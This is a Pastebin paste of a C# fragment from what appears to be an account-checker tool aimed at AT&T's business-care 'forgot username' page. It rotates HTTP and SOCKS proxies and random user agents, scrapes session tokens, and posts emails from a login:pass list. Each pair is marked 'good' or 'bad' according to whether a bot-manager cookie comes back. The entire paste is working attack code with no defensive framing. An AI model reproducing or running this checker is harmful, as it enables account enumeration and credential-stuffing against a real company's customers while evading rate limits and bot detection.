Advertisement
Guest User

Untitled

a guest
May 20th, 2018
186
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.41 KB | None | 0 0
  1.            try
  2.             {
  3.  
  4.                 using (var Request = new HttpRequest())
  5.                 {
  6.                     Request.UserAgent = GetUserAgent.GetRandomWindowsUserAgent();
  7.                     Request.Cookies = new CookieDictionary();
  8.                     if (ProxyType.Text == "HTTP")
  9.                         Request.Proxy = HttpProxyClient.Parse(Help.GetProxy());
  10.                     if (ProxyType.Text == "SOCKS4")
  11.                         Request.Proxy = Socks4ProxyClient.Parse(Help.GetProxy());
  12.                     if (ProxyType.Text == "SOCKS5")
  13.                         Request.Proxy = Socks5ProxyClient.Parse(Help.GetProxy());
  14.                    
  15.                     string GetResponse = Request.Get("https://www.wireless.att.com/businesscare/login/forgot_username_admin.jsp").ToString();
  16.                     string _dynSessConf = Regex.Match(GetResponse, @"_dynSessConf.{23}(\d+)").Groups[1].Value;
  17.                     string _dyncharset = Regex.Match(GetResponse, @"_dyncharset.{23}([^""]+)").Groups[1].Value;
  18.  
  19.                     //textBox1.Text = GetResponse;
  20.                     //textBox1.Text = _dyncharset;
  21.  
  22.                     var PostData = new RequestParams();
  23.                     Request.AllowAutoRedirect = false;
  24.                     Request.Referer = "https://www.wireless.att.com/businesscare/login/forgot_username_admin.jsp";
  25.                     Request.AddHeader("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8");
  26.                     Request.AddHeader("accept-encoding", "gzip, deflate, br");
  27.                     Request.AddHeader("accept-language", "ru,en;q=0.9");
  28.                     Request.AddHeader("origin", "https://www.wireless.att.com");
  29.                     Request.AddHeader("upgrade-insecure-requests", "1");
  30.                     PostData["_dyncharset"] = _dyncharset;
  31.                     PostData["_dynSessConf"] = _dynSessConf;
  32.                     PostData["/com/att/wireless/care/profile/web/LoginRecoveryFormHandler.successURL"] = "/businesscare/login/confirmation.jsp";
  33.                     PostData["_D:/com/att/wireless/care/profile/web/LoginRecoveryFormHandler.successURL"] = "";
  34.                     PostData["/com/att/wireless/care/profile/web/LoginRecoveryFormHandler.email"] = login;
  35.                     PostData["_D:/com/att/wireless/care/profile/web/LoginRecoveryFormHandler.email"] = "";
  36.                     PostData["/com/att/wireless/care/profile/web/LoginRecoveryFormHandler.forgotUsername"] = "Continue";
  37.                     PostData["_D:/com/att/wireless/care/profile/web/LoginRecoveryFormHandler.forgotUsername"] = "";
  38.                     PostData["_DARGS"] = "/businesscare/login/forgot_username_admin.jsp";
  39.  
  40.                     HttpResponse Response = Request.Post("https://www.wireless.att.com/businesscare/login/forgot_username_admin.jsp?_DARGS=/businesscare/login/forgot_username_admin.jsp", PostData);
  41.  
  42.  
  43.                     if (Response.Cookies.ContainsKey("bm_sv"))
  44.                     {
  45.                         DataResult("bad", login + ":" + pass);
  46.                     }
  47.                     else
  48.                     {
  49.                         DataResult("good", login + ":" + pass);
  50.                     }
  51.                 }
  52.             }
  53.             catch
  54.             {
  55.                 MessageBox.Show("Ошибка запроса");
  56.                 DataResult("error", login + ":" + pass);
  57.             }
  58.         }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement